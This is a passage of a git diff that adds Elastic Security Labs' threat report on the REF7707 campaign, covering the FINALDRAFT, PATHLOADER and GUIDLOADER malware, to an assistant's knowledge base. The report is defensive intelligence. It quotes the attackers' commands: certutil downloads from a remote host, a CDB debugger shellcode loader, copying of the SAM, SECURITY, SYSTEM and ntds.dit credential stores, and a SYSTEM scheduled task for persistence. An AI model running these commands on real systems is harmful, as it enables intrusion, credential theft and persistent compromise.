5a42103bf44604c6fff23d08650cc757a328652ef11a084d739805f91c130ba106c86dd2e05a4df357b08dc6b6493d0558b89fe8b2a1bad06ee8124c8b702ae00dbeb42d9fb6483fd94d523bc62c150e43aa94f9a72f510650496c3e4f07251a24c5b72fd67d078a69713decd369e8c40b09b44ee774010c3d0245578c9fe86913f3fbfd6b6105093eeb146f349a7055c213009da1981b3ee6257141bb8470119707eddcc3deccdfa2726feec306f541c3e06af40c33a3e43ce93e8fb68ce41a35ecfe4841ffb8c0fa9bf63f5d39fd0e14ffa4553910c19772804ab9c0ca26d60ecc3e6ea2471f025703bc51ebc80e410bd7681f0493dd9267dc04cbc70836ce5510919487576127ac3c6eb3f563f2851f20b55ae2973f9f8c078e1e78ef681cff368defe483d11c0119c5f46cea04ba8303901b24a08b89a714b95796581345649a2a10305975e4f2b1630f475af5dcdce7fcd4931b09359fcaeb65c4b515c9b8816bb90b8d96e373ff7e04b519e773890979bed9ba50233d2ce4435f7d4cae44afcbb2d96644890ad9380b25f77b777210dbf9d9cb9011d50a3c1b5809a047bc6647f40015a898ae75fc08da57479ec2afc7a4473e85aeb4ef9dc7aed42e6f87b2201f2c73d07012253139fd076d70d51e065aa1dc49bbb16d83d536d55535d83b941b5ede0ef4f11503d8d7f105bd79f36a3fe7be046d1e76fea6c9adf3032280c4472b8a732e1ae910745bf9f03ad778c3b182603c2c66f38e0c3cc289d8562747cf8b2880a6aac03585e075ebee4c458ba5b5790cb7007c2ee38d1622d55a7e5ebc7346160cc0c1407a4e1cfd7f323b78bf2ab8c7185285e09c28ab58343dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a94bcf728143fc3fb66c7ab930169ffcbc0d4579e3dfdcbc9d2637ece4d275d170236c800e31701e5d7e6af9c4ac780e21af3cadaa1a99cedbbadb91c9c0937be69a9a00cd56a0ea76351fd72793f7deb558231218876180aded9c2f4f47491c6dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a94bcf728143fc3fb66c7ab930169ffcbc0d4579e3dfdcbc9d2637ece4d275d170236c800e31701e5d7e6af9c4ac780e21af3cadaa1a99cedbbadb91c9c0937be5b8d4df5f998c2e498bb83407171dd2ccd98db59b439543ab6da97f75635fa48dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a94bcf728143fc3fb66c7ab930169ffcbc0d4579e3dfdcbc9d2637ece4d275d170236c800e31701e5d7e6af9c4ac780e21af3cadaa1a99cedbbadb91c9c0937be42ac8a48e9539e9ece811c82c39a41a41cd087977fcdf3ca5edd54195746a8e4dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a94bcf728143fc3fb66c7ab930169ffcbc0d4579e3dfdcbc9d2637ece4d275d170236c800e31701e5d7e6af9c4ac780e21af3cadaa1a99cedbbadb91c9c0937beb2fdcfca0e08a4f850f39c7d4bc42723fc12759e65170ecf1ad5a76d68950bf8dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a94bcf728143fc3fb66c7ab930169ffcbc0d4579e3dfdcbc9d2637ece4d275d170236c800e31701e5d7e6af9c4ac780e21af3cadaa1a99cedbbadb91c9c0937be81b1313dbadcfad1e5bbfe78550a482c574254a605a68a3c6fc3453f2ee06410dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a94bcf728143fc3fb66c7ab930169ffcbc0d4579e3dfdcbc9d2637ece4d275d170236c800e31701e5d7e6af9c4ac780e21af3cadaa1a99cedbbadb91c9c0937befbeae23ab2d7b15c2919509769086563091aface987e08a423fe5fd2c0811fdfdcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a94bcf728143fc3fb66c7ab930169ffcbc0d4579e3dfdcbc9d2637ece4d275d170236c800e31701e5d7e6af9c4ac780e21af3cadaa1a99cedbbadb91c9c0937be85d45f1301042025a899b11d242ed1b00c121bdb2fcf3fd63a469dcc3e4374b3dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a94bcf728143fc3fb66c7ab930169ffcbc0d4579e3dfdcbc9d2637ece4d275d170236c800e31701e5d7e6af9c4ac780e21af3cadaa1a99cedbbadb91c9c0937bec25982f283245233a703147606ed4637c58eb0c7aeadf6f7d0123fa0e5ccafccdcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89af359abc1a0c258270883fd728a7c9c914a720a393f1716c0a9875606d155b7e2868b7847e540f0d8eb3d9a88273dad89558d42b671219dc17097a2d163f7065a5ca3bfd7256a764dfbf40fec24b69dd72280da6143401942077c072c04e49ab2dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a9a35dc89a932614fc89885110a0d54814ef7cc7ce9c746fa8b955366927cb30ec15775acd0873cdaba59553dc487b82e18391eaf87ec1a21d21044330a94c3a1f7411175b03279efdf8f63959c238e201ba6b48d8c433cdbb0f3ade89a423a4bdcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a31295910c9f0eaa83e84a30dbcf06eb57e1a0c44ba282443c5a26fd93e3a809a31295910c9f0eaa83e84a30dbcf06eb59b1c9f94f2d9668442769dca9663d7247c2d2770c5a1fc5994447e4759b353e2020e19825e3d709563904af2d374c906dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a58a5583cb5ad7e957ef315d905fba7fcdcc83eb1482ebafb12f159a67fecf89a67fb2470c876fae0acf90338becf886a5d1bc25e6212ac0f83370472a492f2e344d4dd64c7629b15994d13d15c0416b1dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89abbe1b069cec724b5ca2d44cb3eb965d69a359e30e310ea78698aa357efc3541c14dfb58b0b1f8dd1f42c4dd91d5f15400bed1d2266a54a8e562c2ce169896ad1e3df9bd3bc8af38e3e68c288061007eb196f46f5dc74cabdc530028f48f553dfab07af0957ead7b2ba72b8ecee3960717ee3ee10216fe8c1aadb64343e0c8dc6df5b7286c76a27c2028f47eec3d6c94535a7ba4fb9c00bb8603f13667d259c73fcff6e0c140dbde39d4b21788d55af9dff75a1991d66743f9f9130deec52f043871c524cdff9873ea02793f78f214614ec3b8d4a4d038b75c74b620bb214a06e0cbfda3d59abf4173dee1396d1afae2fe92c79ce900f213d1e7b05b032005bd19d389e5fd3b6481aad67b1e3edcbada34fb88a48af7e4c2c5928bb2ad650c34677cac7e4d162d5e736f6b9719ae8a5521db6e904d6ae45cd1fdb570b86f9b6da4a1dcec88417f31d0d8dca67735f4f673a08915d6801552ef65b2e3c6ebb6414ee3fef068a53fec9f75c997920e11aaf7cde9027d03782097edf7f77ca6f9351a19594b16eb677094ac852436c78defb5f9085fb3e6bd1518f071a7b036ea58e8e21b391577b2babcc84b096355541ea5c69f4208d3510824e7609b39aa350acde7b66d13df424ea833f2f461765e074e8888ec60ebb75d828ebfd4ff4cb188d919fc3b57bccc6c9b54a07a9eed38033dd08037425b2263cc569bd07eb9e51b568180e0527812dcb3b15f30b6dfc3c8e2aa262d6d2903aea8dded2dddf88d6a5bef9c39260f936af83afef139938fa03ac324fdddd55d3596a1788aaf8f0ec337cc6ce9b7c372524ae7add15952772f973ac574825b76fa24eb76a99caa16be100a55114d96f99e8c867f3d11f0fde69b016ec9af84d8accd30128715a3e9209df8dee2cae16cdd0845a63040fa37852b424d47b04df2d298571ef6024e059078d9ac0e3d3985b4677d06c8a764b2f8a2f6ee8e7fe1aadfd5c15b6cc32d40efde8d52a8a3249aed3ac8fc796ef7c16a900526dd436660e27893aca467ee4e3ddac5f252dfe8b11a1070503c080b665ec0060fb68e29c43756f1ac9ec88ec2f86fdf66a4f0a8d26018534a70d23dde1b7e88510ab3dd39cfe09945f8b64ecf86f473c22dedece12e5264b448a03c6d5195e70003c427e012598c06bfa127b09ec24d808785cc549a2c2203f212d04000e0d1d6db86589bd7a4d0b9c417219a5e1bbde50c3c1e39805f597c943572cfed7e71c1c6946717e3ea58917e7c991cb11035f2316d28437af23750dd38451921cb4d6e1add07a1ec6a2dee2a5bdf49cfa7632cd8433d62a7b9239050e3176334d399a71ab6b331006faa330de79113f47e9e9d76527522a4719a635bad9297fd0dc6e50052f4379b7f9a3eeb5000592abb254103d8ec98cdb1cf62c920f031269b9ca52fdad65bb63dc3b9c240e0f14ed5b3a9896f468cb3adfd3295576b368f13b7edb3f2211cf7bd618d57775f4674efca149ec620ec7504159fe995abb0888aaa151f37fbe09528584ffc41609c344666017b9ce190019f689e435c8e6576eef8775426b55ef9dc85dd3e0c421bac712dba0044feb380579020b6321129781a00b1332eb9456e8d898f48bc76a1255 \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/fragile_web_ref7707.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/fragile_web_ref7707.md new file mode 100644 index 0000000000000..aa66c31304b3c --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/fragile_web_ref7707.md @@ -0,0 +1,370 @@ +--- +title: "From South America to Southeast Asia: The Fragile Web of REF7707" +slug: "fragile-web-ref7707" +date: "2025-02-13" +description: "REF7707 targeted a South American foreign ministry using novel malware families. Inconsistent evasion tactics and operational security missteps exposed additional adversary-owned infrastructure." +author: + - slug: andrew-pease + - slug: seth-goodwin +image: "ref7707.jpg" +category: + - slug: campaigns +tags: + - slug: REF7707 + - slug: FINALDRAFT + - slug: PATHLOADER + - slug: GUIDLOADER +--- + +## REF7707 summarized + +Elastic Security Labs has been monitoring a campaign targeting the foreign ministry of a South American nation that has links to other compromises in Southeast Asia. We track this campaign as REF7707. + +While the REF7707 campaign is characterized by a well-engineered, highly capable, novel intrusion set, the campaign owners exhibited poor campaign management and inconsistent evasion practices. + +The intrusion set utilized by REF7707 includes novel malware families we refer to as FINALDRAFT, GUIDLOADER, and PATHLOADER. We have provided a detailed analysis of their functions and capabilities in the malware analysis report of REF7707 - [You've Got Malware: FINALDRAFT Hides in Your Drafts](https://www.elastic.co/security-labs/finaldraft). + +## Key takeaways + +* REF7707 leveraged novel malware against multiple targets +* The FINALDRAFT malware has both a Windows and Linux variant +* REF7707 used an uncommon LOLBin to obtain endpoint execution +* Heavy use of cloud and third-party services for C2 +* The attackers used weak operational security that exposed additional malware and infrastructure not used in this campaign + +## Campaign Overview + +In late November 2024, Elastic Security Labs observed a tight cluster of endpoint behavioral alerts occurring at the Foreign Ministry of a South American country. As the investigation continued, we discovered a sprawling campaign and intrusion set that included novel malware, sophisticated targeting, and a mature operating cadence. + +While parts of the campaign showed a high level of planning and technical competence, numerous tactical oversights exposed malware pre-production samples, infrastructure, and additional victims. + +### Campaign layout (the diamond model) + +Elastic Security Labs utilizes the [Diamond Model](https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf) to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions and leveraging Activity Threading (section 8) to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a — although cluttered — single diamond. + +![REF7707 - Diamond Model](/assets/images/fragile-web-ref7707/image1.png "REF7707 - Diamond Model") + +## Execution Flow + +### Primary execution chain + +REF7707 was initially identified through Elastic Security telemetry of a South American nation’s Foreign Ministry. We observed a common LOLBin tactic [using Microsoft’s certutil](https://lolbas-project.github.io/lolbas/Binaries/Certutil/) application to download files from a remote server and save them locally. + +``` +certutil -urlcache -split -f https://[redacted]/fontdrvhost.exe C:\ProgramData\fontdrvhost.exe + +certutil -urlcache -split -f https://[redacted]/fontdrvhost.rar C:\ProgramData\fontdrvhost.rar + +certutil -urlcache -split -f https://[redacted]/config.ini C:\ProgramData\config.ini + +certutil -urlcache -split -f https://[redacted]/wmsetup.log C:\ProgramData\wmsetup.log +``` + +The web server hosting `fontdrvhost.exe`, `fontdrvhost.rar`, `config.ini`, and `wmsetup.log` was located within the same organization; however, it was not running the Elastic Agent. This was the first lateral movement observed and provided insights about the intrusion. We’ll discuss these files in more detail, but for now, `fontdrvhost.exe` is a debugging tool, `config.ini` is a weaponized INI file, and `fontdrvhost.rar` was not recoverable. + +#### WinrsHost.exe + +[Windows Remote Management’s Remote Shell plugin](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winrs) (`WinrsHost.exe`) was used to download the files to this system from an unknown source system on a connected network. The plugin is the client-side process used by Windows Remote Management. It indicates that attackers already possessed valid network credentials and were using them for lateral movement from a previously compromised host in the environment. How these credentials were obtained is unknown; it is possible that the credentials were obtained from the web server hosting the suspicious files. + +![WinrsHost.exe is used to execute commands](/assets/images/fragile-web-ref7707/image4.png "WinrsHost.exe is used to execute commands") + +The attacker downloaded `fontdrvhost.exe`, `fontdrvhost.rar`, `config.ini`, and `wmsetup.log` to the `C:\ProgramData\` directory; from there, the attacker moved to several other Windows endpoints. While we can’t identify all of the exposed credentials, we noted the use of a local administrator account to download these files. + +Following the downloads from the web server to the endpoint, we saw a cluster of behavioral rules firing in quick succession. + +![Behavioral rules accelerating](/assets/images/fragile-web-ref7707/image5.png "Behavioral rules accelerating") + +On six Windows systems, we observed the execution of an unidentified binary (`08331f33d196ced23bb568689c950b39ff7734b7461d9501c404e2b1dc298cc1`) as a child of `Services.exe`. This suspicious binary uses a pseudo-randomly assigned file name consisting of six camel case letters with a `.exe` extension and is located in the `C:\Windows\` path (example: `C:\Windows\cCZtzzwy.exe`). We could not collect this file for analysis, but we infer that this is a variant of [PATHLOADER](https://www.elastic.co/security-labs/finaldraft) based on the file size (`170,495` bytes) and its location. This file was passed between systems using SMB. + +#### FontDrvHost.exe + +Once the attacker collected `fontdrvhost.exe`, `fontdrvhost.rar`, `config.ini`, and `wmsetup.log`, it executed `fontdrvhost.exe` (`cffca467b6ff4dee8391c68650a53f4f3828a0b5a31a9aa501d2272b683205f9`) to continue with the intrusion. `fontdrvhost.exe` is a renamed version of the [Windows-signed debugger](https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/cdb-command-line-options) `CDB.exe`. Abuse of this binary allowed our attackers to execute malicious shellcode delivered in the `config.ini` file under the guise of trusted binaries. + +CDB is a debugger that is over 15 years old. In researching how often it was submitted with suspicious files to VirusTotal, we see increased activity in 2021 and an aggressive acceleration starting in late 2024. + +![VirusTotal submissions and lookups for CDB.exe](/assets/images/fragile-web-ref7707/image3.png "VirusTotal submissions and lookups for CDB.exe") + +CDB is a [documented LOLBas file](https://lolbas-project.github.io/lolbas/OtherMSBinaries/Cdb/), but there hasn’t been much-published research on how it can be abused. Security researcher mrd0x wrote a [great analysis](https://mrd0x.com/the-power-of-cdb-debugging-tool/) of CDB outlining how it can be used to run shellcode, launch executables, run DLLs, execute shell commands, and terminate security solutions (and even an [older analysis](https://web.archive.org/web/20210305190100/http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html) from 2016 using it as a shellcode runner). While not novel, this is an uncommon attack methodology and could be used with other intrusion metadata to link actors across campaigns. + +While `config.ini` was not collected for analysis, it contained a mechanism through which `fontdrvhost.exe` loaded shellcode; how it was invoked is similar to FINALDRAFT. + +``` +C:\ProgramData\fontdrvhost.exe -cf C:\ProgramData\config.ini -o C:\ProgramData\fontdrvhost.exe +``` + +* `-cf` - specifies the path and name of a script file. This script file is executed as soon as the debugger is started +* `config.ini` - this is the script to be loaded +* `-o` - debugs all processes launched by the target application + +Then `fontdrvhost.exe` spawned `mspaint.exe` and injected shellcode into it. + +![Shellcode injection into mspaint.exe](/assets/images/fragile-web-ref7707/image2.png "Shellcode injection into mspaint.exe") + +Elastic Security Labs reverse engineers analyzed this shellcode to identify and characterize the FINALDRAFT malware. Finally, `fontdrvhost.exe` injected additional shellcode into memory (`6d79dfb00da88bb20770ffad636c884bad515def4f8e97e9a9d61473297617e3`) that was also identified as the FINALDRAFT malware. + +As described in the [analysis](https://www.elastic.co/security-labs/finaldraft) of FINALDRAFT, the malware defaults to `mspaint.exe` or `conhost.exe` if no target parameter is provided for an injection-related command. + +### Connectivity checks + +The adversary performed several connectivity tests using the `ping.exe` command and via PowerShell. + +Powershell’s `Invoke-WebRequest` cmdlet is similar to `wget` or `curl,` which pulls down the contents of a web resource. This cmdlet may be used to download tooling from the command line, but that was not the case here. These requests in context with several `ping`s are more likely to be connectivity checks. + +`graph.microsoft[.]com` and `login.microsoftonline[.]com` are legitimately owned Microsoft sites that serve API and web GUI traffic for Microsoft’s Outlook cloud email service and other Office 365 products. + +* `ping graph.microsoft[.]com` +* `ping www.google[.]com` +* `Powershell Invoke-WebRequest -Uri \"hxxps://google[.]com\` +* `Powershell Invoke-WebRequest -Uri \"hxxps://graph.microsoft[.]com\" -UseBasicParsing` +* `Powershell Invoke-WebRequest -Uri \"hxxps://login.microsoftonline[.]com\" -UseBasicParsing` + +`digert.ictnsc[.]com` and` support.vmphere[.]com` were adversary-owned infrastructure. + +* `ping digert.ictnsc[.]com` +* `Powershell Invoke-WebRequest -Uri \"hxxps://support.vmphere[.]com\" -UseBasicParsing` + +We cover more about these network domains in the infrastructure section below. + +### Reconnaissance / enumeration / credential harvesting + +The adversary executed an unknown script called `SoftwareDistribution.txt` using the `diskshadow.exe` utility, extracted the SAM, SECURITY, and SYSTEM Registry hives, and copied the Active Directory database (`ntds.dit`). These materials primarily contain credentials and credential metadata. The adversary used the 7zip utility to compress the results: + +``` +diskshadow.exe /s C:\\ProgramData\\SoftwareDistribution.txt + +cmd.exe /c copy z:\\Windows\\System32\\config\\SAM C:\\ProgramData\\[redacted].local\\SAM /y + +cmd.exe /c copy z:\\Windows\\System32\\config\\SECURITY C:\\ProgramData\\[redacted].local\\SECURITY /y + +cmd.exe /c copy z:\\Windows\\System32\\config\\SYSTEM C:\\ProgramData\\[redacted].local\\SYSTEM /y + +cmd.exe /c copy z:\\windows\\ntds\\ntds.dit C:\\ProgramData\\[redacted].local\\ntds.dit /y + +7za.exe a [redacted].local.7z \"C:\\ProgramData\\[redacted].local\\\" +``` + +The adversary also enumerated information about the system and domain: + +``` +systeminfo + +dnscmd . /EnumZones + +net group /domain + +C:\\Windows\\system32\\net1 group /domain + +quser + +reg query HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UUID + +reg query \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UUID\" + +reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UUID\" +``` + +### Persistence + +Persistence was achieved using a [Scheduled Task](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create) that invoked the renamed `CDB.exe` debugger and the weaponized INI file every minute as `SYSTEM`. This methodology ensured that FINALDRAFT resided in memory. + +``` +schtasks /create /RL HIGHEST /F /tn \"\\Microsoft\\Windows\\AppID\\EPolicyManager\" +/tr \"C:\\ProgramData\\fontdrvhost.exe -cf C:\\ProgramData\\config.ini -o C:\\ProgramData\\fontdrvhost.exe\" +/sc MINUTE /mo 1 /RU SYSTEM +``` + +* `schtasks` - the Scheduled Task program +* `/create` - creates a new scheduled task +* `/RL HIGHEST` - specifies the run level of the job, `HIGHEST` runs as the highest level of privileges +* `/F` - suppress warnings +* `/tn \\Microsoft\\Windows\\AppID\\EPolicyManager\` - task name, attempting to mirror an authentic looking scheduled task +* `/tr \"C:\\ProgramData\\fontdrvhost.exe -cf C:\\ProgramData\\config.ini -o C:\\ProgramData\\fontdrvhost.exe\"` - task to run, in this case the `fontdrvhost.exe` commands we covered earlier +* `/sc MINUTE` - schedule type, `MINUTE` specifies the to run on minute intervals +* `/mo 1` - modifier, defines `1` for the schedule interval +* `/RU SYSTEM` - defines what account to run as; in this situation, the task will run as the SYSTEM user + +### FINALDRAFT Analysis + +A technical deep-dive describing the capabilities and architecture of the FINALDRAFT and PATHLOADER malware is available [here](https://www.elastic.co/security-labs/finaldraft). At a high level, FINALDRAFT is a well-engineered, full-featured remote administration tool with the ability to accept add-on modules that extend functionality and proxy network traffic internally by multiple means. + +Although FINALDRAFT can establish command and control using various means, the most notable are the means we observed in our victim environment, [abuse of Microsoft’s Graph API](https://www.elastic.co/security-labs/finaldraft#communication-protocol). We first observed this type of third-party C2 in [SIESTAGRAPH](https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry), which we reported in December 2022. + +This command and control type is challenging for defenders of organizations that heavily depend on network visibility to catch. Once the initial execution and check-in have been completed, all further communication proceeds through legitimate Microsoft infrastructure (`graph.microsoft[.]com`) and blends in with the other organizational workstations. It also supports relay functionality that enables it to proxy traffic for other infected systems. It evades defenses reliant on network-based intrusion detection and threat-intelligence indicators. + +#### PATHLOADER and GUIDLOADER + +Both PATHLOADER and GUIDLOADER are used to download and execute encrypted shellcodes in memory. They were discovered in VirusTotal while investigating the C2 infrastructure and strings identified within a FINALDRAFT memory capture. They have only been observed in association with FINALDRAFT payloads. + +A May 2023 sample in VirusTotal is the earliest identified binary of the REF7707 intrusion set. This sample was first submitted by a web user from Thailand, `dwn.exe` (`9a11d6fcf76583f7f70ff55297fb550fed774b61f35ee2edd95cf6f959853bcf`) is a PATHLOADER variant that loads an encrypted FINALDRAFT binary from` poster.checkponit[.]com` and `support.fortineat[.]com`. + +Between June and August of 2023, a Hong Kong VirusTotal web user uploaded [12 samples of GUIDLOADER](https://www.virustotal.com/gui/search/41a3a518cc8abad677bb2723e05e2f052509a6f33ea75f32bd6603c96b721081%250Ad9fc1cab72d857b1e4852d414862ed8eab1d42960c1fd643985d352c148a6461%250Af29779049f1fc2d45e43d866a845c45dc9aed6c2d9bbf99a8b1bdacfac2d52f2%250A17b2c6723c11348ab438891bc52d0b29f38fc435c6ba091d4464f9f2a1b926e0%250A20508edac0ca872b7977d1d2b04425aaa999ecf0b8d362c0400abb58bd686f92%250A33f3a8ef2c5fbd45030385b634e40eaa264acbaeb7be851cbf04b62bbe575e75%250A41141e3bdde2a7aebf329ec546745149144eff584b7fe878da7a2ad8391017b9%250A49e383ab6d092ba40e12a255e37ba7997f26239f82bebcd28efaa428254d30e1%250A5e3dbfd543909ff09e343339e4e64f78c874641b4fe9d68367c4d1024fe79249%250A7cd14d3e564a68434e3b705db41bddeb51dbb7d5425fd901c5ec904dbb7b6af0%250A842d6ddb7b26fdb1656235293ebf77c683608f8f312ed917074b30fbd5e8b43d%250Af90420847e1f2378ac8c52463038724533a9183f02ce9ad025a6a10fd4327f12?type=files). These samples each had minor modifications to how the encrypted payload was downloaded and were configured to use FINALDRAFT domains: + +* `poster.checkponit[.]com` +* `support.fortineat[.]com` +* Google Firebase (`firebasestorage.googleapis[.]com`) +* Pastebin (`pastebin[.]com`) +* A Southeast Asian University public-facing web storage system + +Some samples of GUIDLOADER appear unfinished or broken, with non-functional decryption routines, while others contain debug strings embedded in the binary. These variations suggest that the samples were part of a development and testing process. + +#### FINALDRAFT bridging OS’ + +In late 2024, two Linux ELF FINALDRAFT variants were uploaded to VirusTotal, one from the United States and one from Brazil. These samples feature similar C2 versatility and a partial reimplementation of the commands available in the Windows version. URLs were pulled from these files for `support.vmphere[.]com`, `update.hobiter[.]com`, and `pastebin.com`. + +## Infrastructure Analysis + +In the [FINALDRAFT malware analysis report](https://www.elastic.co/security-labs/finaldraft), several domains were identified in the samples collected in the REF7707 intrusion, and other samples were identified through code similarity. + +### Service banner hashes + +A Censys search for `hobiter[.]com` (the domain observed in the ELF variant of FINALDRAFT, discussed in the previous section) returns an IP address of `47.83.8.198`. This server is Hong Kong-based and is serving ports `80` and `443`. The string “`hobiter[.]com`” is associated with the TLS certificate on port `443`. A Censys query pivot on the service banner hash of this port yields six additional servers that share that hash (seven total). + +| IP | TLS Cert names | Cert CN | ports | ASN | GEO | +|-----------------|----------------------|-------------------------------|--------------------------------------------------------------------------|-------|----------------------| +| `47.83.8.198` | *.hobiter[.]com | CloudFlare Origin Certificate | `80`, `443` | `45102` | Hong Kong | +| `8.218.153.45` | *.autodiscovar[.]com | CloudFlare Origin Certificate | `53`, `443`, `2365`, `3389`, `80` | `45102` | Hong Kong | +| `45.91.133.254` | *.vm-clouds[.]net | CloudFlare Origin Certificate | `443`, `3389` | `56309` | Nonthaburi, Thailand | +| `8.213.217.182` | *.ictnsc[.]com | CloudFlare Origin Certificate | `53`, `443`, `3389`, `80` | `45102` | Bangkok, Thailand | +| `47.239.0.216` | *.d-links[.]net | CloudFlare Origin Certificate | `80`, `443` | `45102` | Hong Kong | +| `203.232.112.186` | [NONE] | [NONE] | `80`, `5357`, `5432`, `5985`, `8000`, `8080`, `9090`, `15701`, `15702`, `15703`, `33990` `47001` | `4766` | Daejeon, South Korea | +| `13.125.236.162` | [NONE] | [NONE] | `80`, `3389`, `8000`, `15111`, `15709`, `19000` | `16509` | Incheon, South Korea | + + +Two servers (`203.232.112[.]186` and `13.125.236[.]162`) do not share the same profile as the other five. While the service banner hash still matches, it is not on port `443`, but on ports `15701`,` 15702`, `15703`, and `15709`. Further, the ports in question do not appear to support TLS communications. We have not attributed them to REF7707 with a high degree of confidence but are including them for completeness. + +The other five servers, including the original “hobiter” server, share several similarities: + +* Service banner hash match on port `443` +* Southeast Asia geolocations +* Windows OS +* Cloudflare issued TLS certs +* Most have the same ASN belonging to Alibaba + +#### Hobiter and VMphere + +`update.hobiter[.]com` and` support.vmphere[.]com` were found in an ELF binary ([biosets.rar](https://www.virustotal.com/gui/file/f45661ea4959a944ca2917454d1314546cc0c88537479e00550eef05bed5b1b9)) from December 13, 2024. Both domains were registered over a year earlier, on September 12, 2023. This ELF binary features similar C2 versatility and a partial reimplementation of the commands available in the Windows version of FINALDRAFT. + +A name server lookup of `hobiter[.]com` and `vmphere[.]com` yields only a Cloudflare name server record for each and no A records. Searching for their known subdomains provides us with A records pointing to Cloudflare-owned IP addresses. + +#### ICTNSC + +`ictnsc[.]com` is directly associated with the REF7707 intrusion above from a connectivity check (`ping digert.ictnsc[.]com`) performed by the attackers. The server associated with this domain (`8.213.217[.]182`) was identified through the Censys service banner hash on the HTTPS service outlined above. Like the other identified infrastructure, the subdomain resolves to Cloudflare-owned IP addresses, and the parent domain only has a Cloudflare NS record. `ictnsc[.]com` was registered on February 8, 2023. + +While we cannot confirm the association as malicious, it should be noted that the domain `ict.nsc[.]ru` is the Federal Research Center for Information and Computational Technologies web property, often referred to as the FRC or the ICT. This Russian organization conducts research in various areas like computer modeling, software engineering, data processing, artificial intelligence, and high-performance computing. + +While not observed in the REF7707 intrusion, the domain we observed (`ictnsc[.]com`) has an `ict` subdomain (`ict.ictnsc[.]com`), which is strikingly similar to `ict.nsc[.]ru`. Again, we cannot confirm if they are related to the legitimate FRC or ITC, it seems the threat actor intended for the domains to be similar, conflated, or confused with each other. + +#### Autodiscovar + +`Autodiscovar[.]com` has not been directly associated with any FINALDRAFT malware. It has been indirectly associated with REF7707 infrastructure through pivots on web infrastructure identifiers. The parent domain only has a Cloudflare NS record. A subdomain [identified through VirusTotal](https://www.virustotal.com/gui/domain/autodiscovar.com/relations) (`cloud.autodiscovar[.]com`) points to Cloudflare-owned IP addresses. This domain name resembles other FINALDRAFT and REF7707 web infrastructure and shares the HTTPS service banner hash. This domain was registered on August 26, 2022. + +#### D-links and VM-clouds +`d-links[.]net` and `vm-clouds[.]net` were both registered on September 12, 2023, the same day as `hobiter[.]com` and `vmphere[.]com`. The servers hosting these sites also share the same HTTPS service banner hash. They are not directly associated with the FINALDRAFT malware nor have current routable subdomains, though `pol.vm-clouds[.]net` was previously registered. + +#### Fortineat + +`support.fortineat[.]com` was hard-coded in the PATHLOADER sample (`dwn.exe`). During our analysis of the domain, we discovered that it was not currently registered. To identify any other samples communicating with the domain, our team registered this domain and configured a web server to listen for incoming connections. + +We recorded connection attempts over port `443`, where we identified a specific incoming byte pattern. The connections were sourced from eight different telecommunications and Internet infrastructure companies in Southeast Asia, indicating possible victims of the REF7707 intrusion set. + +#### Checkponit + +`poster.checkponit[.]com` was observed in four GUIDLOADER samples and a PATHLOADER sample between May and July 2023, and it was used to host the FINALDRAFT encrypted shellcode. The `checkponit[.]com` registration was created on August 26, 2022. There are currently no A records for `checkponit[.]com` or `poster.checkponit[.]com`. + +#### Third-party infrastructure + +Microsoft’s `graph.microsoft[.]com` is used by the FINALDRAFT PE and ELF variants for command and control via the Graph API. This service is ubiquitous and used for critical business processes of enterprises using Office 365. Defenders are highly encouraged to NOT block-list this domain unless business ramifications are understood. + +Google’s Firebase service (`firebasestorage.googleapis[.]com`), Pastebin (`pastebin[.]com`), and a Southeast Asian University are third-party services used to host the encrypted payload for the loaders (PATHLOADER and GUIDLOADER) to download and decrypt the last stage of FINALDRAFT. + +## REF7707 timeline + +![REF7707 timeline](/assets/images/fragile-web-ref7707/image6.png "FINALDRAFT timeline") + +## Conclusion + +REF7707 was discovered while investigating an intrusion of a South American nation's Foreign Ministry. + +The investigation revealed novel malware like FINALDRAFT and its various loaders. These tools were deployed and supported using built-in operating system features that are difficult for traditional anti-malware tools to detect. + +FINALDRAFT co-opts Microsoft’s graph API service for command and control to minimize malicious indicators that would be observable to traditional network-based intrusion detection and prevention systems. Third-party hosting platforms for encrypted payload staging also challenge these systems early in the infection chain. + +An overview of the VirusTotal submitters and pivots using the indicators in this report shows a relatively heavy geographic presence in Southeast Asia and South America. SIESTAGRAPH, similarly, was the first in-the-wild graph API abuse we had observed, and it (REF2924) involved an attack on a Southeast Asian nation’s Foreign Ministry. + +At Elastic Security Labs, we champion defensive capabilities across infosec domains operated by knowledgeable professionals to mitigate advanced threats best. + +## REF7707 through MITRE ATT&CK + +Elastic uses the [MITRE 